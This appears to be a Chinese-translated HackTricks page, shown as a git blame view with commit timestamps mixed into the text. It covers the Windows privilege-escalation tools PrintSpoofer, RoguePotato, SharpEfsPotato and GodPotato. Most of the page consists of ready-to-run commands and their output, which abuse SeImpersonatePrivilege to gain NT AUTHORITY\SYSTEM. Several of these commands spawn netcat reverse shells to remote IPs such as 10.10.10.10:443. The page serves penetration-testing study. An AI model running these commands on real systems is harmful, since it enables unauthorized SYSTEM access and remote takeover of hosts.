hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

94 lines
5 KiB
Markdown
Raw Normal View History

# RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
2022-10-03 18:16:17 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
2022-10-03 18:16:17 +00:00
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-10-03 18:16:17 +00:00
</details>
{% hint style="warning" %}
**JuicyPotato在Windows Server 2019和Windows 10版本1809及更高版本上无法使用**。但是,[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)****[**RoguePotato**](https://github.com/antonioCoco/RoguePotato)****[**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)****[**GodPotato**](https://github.com/BeichenDream/GodPotato)可以用来**获取相同的权限并获得`NT AUTHORITY\SYSTEM`**级别的访问权限。这篇[博文](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)深入介绍了`PrintSpoofer`工具该工具可用于在JuicyPotato不再适用的Windows 10和Server 2019主机上滥用模拟权限。
2022-10-03 18:16:17 +00:00
{% endhint %}
2023-08-03 19:12:22 +00:00
## 快速演示
2022-10-03 18:16:17 +00:00
### PrintSpoofer
```bash
c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
2023-08-03 19:12:22 +00:00
--------------------------------------------------------------------------------
2022-10-03 18:16:17 +00:00
2023-08-03 19:12:22 +00:00
[+] Found privilege: SeImpersonatePrivilege
2022-10-03 18:16:17 +00:00
2023-08-03 19:12:22 +00:00
[+] Named pipe listening...
2022-10-03 18:16:17 +00:00
2023-08-03 19:12:22 +00:00
[+] CreateProcessAsUser() OK
2022-10-03 18:16:17 +00:00
NULL
```
### RoguePotato
{% 代码 溢出="wrap" %}
2022-10-03 18:16:17 +00:00
```bash
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
2022-10-03 18:16:17 +00:00
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
{% endcode %}
2022-10-22 12:26:54 +00:00
### SharpEfsPotato
```
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
2023-08-03 19:12:22 +00:00
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.
2022-10-22 12:26:54 +00:00
2023-08-03 19:12:22 +00:00
Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.
2022-10-22 12:26:54 +00:00
[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
C:\temp>type C:\temp\w.log
nt authority\system
```
### GodPotato
### 神之土豆
```
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
```
## 参考资料
* [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
* [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
* [https://github.com/antonioCoco/RoguePotato](https://github.com/antonioCoco/RoguePotato)
* [https://github.com/bugch3ck/SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato)
* [https://github.com/BeichenDream/GodPotato](https://github.com/BeichenDream/GodPotato)
2022-10-03 18:16:17 +00:00
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式:
2022-10-03 18:16:17 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-10-03 18:16:17 +00:00
</details>